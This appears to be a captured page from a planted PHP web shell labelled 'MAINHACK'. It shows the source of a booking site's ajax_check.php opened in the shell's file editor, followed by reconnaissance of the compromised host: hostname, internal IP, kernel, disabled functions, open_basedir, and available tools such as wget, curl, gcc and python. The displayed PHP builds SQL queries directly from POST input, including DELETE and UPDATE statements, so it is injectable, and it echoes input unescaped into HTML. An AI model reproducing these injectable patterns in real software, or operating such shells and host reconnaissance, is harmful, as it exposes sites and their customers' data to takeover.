[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ajax_check.php
<?php include '../settings/settings.php'; if(isset($_POST["userid"])) { $table='product_img'; $stmt=$show->readwithdata($table,'id',$_POST['userid']); $row = $stmt->fetch(PDO::FETCH_ASSOC); echo json_encode($row); } if(isset($_POST['test_id'])) { $name=trim($_POST['test_id']); $query2="SELECT * FROM menu WHERE name like'$name%' or name like '%$name%'"; $q=$con->prepare($query2); $q->execute(); echo "<ul>"; while($query3=$q->fetch(PDO::FETCH_ASSOC)) { $id=$query3['name']; ?> <li class='show' align='left' onclick='filld("<?php echo $_POST['test_dynamic'];?>","<?php echo $query3['name'];?>","<?php echo $query3['price'];?>","<?php echo $query3['menu_id'];?>","<?php echo $query3['gst_total'];?>")'><?php echo $query3['name']; ?> | <?php echo $query3['price']; ?></li> <?php } } if(isset($_POST["gettotal"])) { $table='bill'; $stmt=$show->readwithdata($table,'bill_id',$_POST['gettotal']); while($row = $stmt->fetch(PDO::FETCH_ASSOC)){ ?> <h3 class="title1" style="">Bill</h3> <form method="post" action=""> <input type="hidden" name="bill_id" value="<?=$_POST['gettotal']?>"> <div class="col-md-6">Date:</div> <div class="col-md-6"><?=date('d-m-Y',strtotime($row['date']))?></div> <div class="col-md-6">Table No:</div> <div class="col-md-6"><?=$row['table_no']?></div> <div class="col-md-6">Gross Total</div> <div class="col-md-6"><?=$row['total']?></div> <div class="col-md-6">GST</div> <div class="col-md-6"><?=$row['tax']?></div> <div class="col-md-6">Extra</div> <div class="col-md-6"><?=$row['extra']==''?0:$row['extra']?></div> <div class="col-md-6">Total</div> <div class="col-md-6"><?=$row['bill_total']?></div> <div class="col-md-12"> <button name="cal" class="btn btn-success">Re-calculate</button> <input type="submit" name="confirm_bill" class="btn btn-success" value="Print"> </div> </form> <?php } } if(isset($_POST['status'])) { $status=trim($_POST['status']); $table=trim($_POST['table']); $id=$_POST['id']; $stmt=$con->prepare("update $table set status='".$status."' where id='".$id."'"); $stmt->execute(); } if(isset($_POST['cphone'])) { $name=trim($_POST['cphone']); $query2="SELECT * FROM client WHERE phone like'$name%' or phone like '%$name%'"; $q=$con->prepare($query2); $q->execute(); $c=$q->rowCount(); echo "<ul>"; while($query3=$q->fetch(PDO::FETCH_ASSOC)) { ?> <li class='show' align='left' onclick='fill("<?php echo $query3['client_id'];?>","<?php echo $query3['name'];?>","<?php echo $query3['phone'];?>","<?php echo $query3['email'];?>","<?php echo $query3['name'];?>")'><?php echo $query3['name']; ?> | <?php echo $query3['phone']; ?> | <?php echo $query3['email']; ?></li> <?php } echo "</ul>"; } if(isset($_POST['from_date'])) { $from_date=date('Y-m-d',strtotime($_POST['from_date'])); $to_date=date('Y-m-d',strtotime($_POST['to_date'])); $query2="SELECT packages.package_name,packages.price,packages.gst,packages.category,packages.package_id,packages.pax as p_pax,packages.room_no,booked_room.book_id,booked_room.from_date,booked_room.to_date FROM packages left join booked_room on packages.package_id=booked_room.room_id WHERE booked_room.id IS NULL OR (booked_room.to_date >'$to_date' AND booked_room.from_date >= '$from_date') OR (booked_room.to_date < '$to_date' AND booked_room.to_date < '$to_date') "; $q=$con->prepare($query2); $q->execute(); echo "<table class='table table-hover table-striped'> <thead><tr> <th>Room Name</th> <th>Room No</th> <th>Room Pax</th> <th>Price</th> <th>Availability</th> </tr></thead><tbody>";$count; while($row=$q->fetch(PDO::FETCH_ASSOC)) { // $id=$query3['package_name']; ++$count; ?> <tr> <td><?=$row['package_name']?></td> <td><?=$row['room_no']?></td> <td><?=$row['p_pax']?></td> <td><?=$row['price']?></td> <td><button onclick='room("<?=$row['package_name']?>","<?=$row['package_id']?>","<?=$row['room_no']?>","<?=$row['p_pax']?>","<?=$row['price']?>","<?=$row['category']?>","<?=$row['gst']?>")' class='btn btn-xs btn-success'>Select Now</button></td> </tr> <?php } ?> </tbody></table> <?php } if(isset($_POST['insert_room_data'])) { $date1=date_create(date('Y-m-d',strtotime($_POST['from_date']))); $date2=date_create(date('Y-m-d',strtotime($_POST['to_date']))); $diff=date_diff($date1,$date2); $data=array( 'book_id'=>$_POST['book_id'], 'room_id'=>$_POST['p_id'], 'room_pax'=>$_POST['pax'], 'from_date'=>date('Y-m-d',strtotime($_POST['from_date'])), 'to_date'=>date('Y-m-d',strtotime($_POST['to_date'])), 'room_price'=>$_POST['price'], 'room_no'=>$_POST['room_no'], 'no_of_days'=>$diff->format("%a"), 'room_name'=>$_POST['insert_room_data'], 'room_gst'=>$_POST['gst'], 'status'=>'PENDING', 'category'=>$_POST['category'] ); $r=$show->insert('booked_room',$data); if($r){ $s="delete from booked_room where status='PENDING' and book_id!='".$_POST['book_id']."'"; $s1=$con->prepare($s); $s1->execute(); } } if(isset($_POST["booked_room_id"])) { $s="delete from booked_room where id=".$_POST['booked_room_id'].""; $s1=$con->prepare($s); $s1->execute(); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619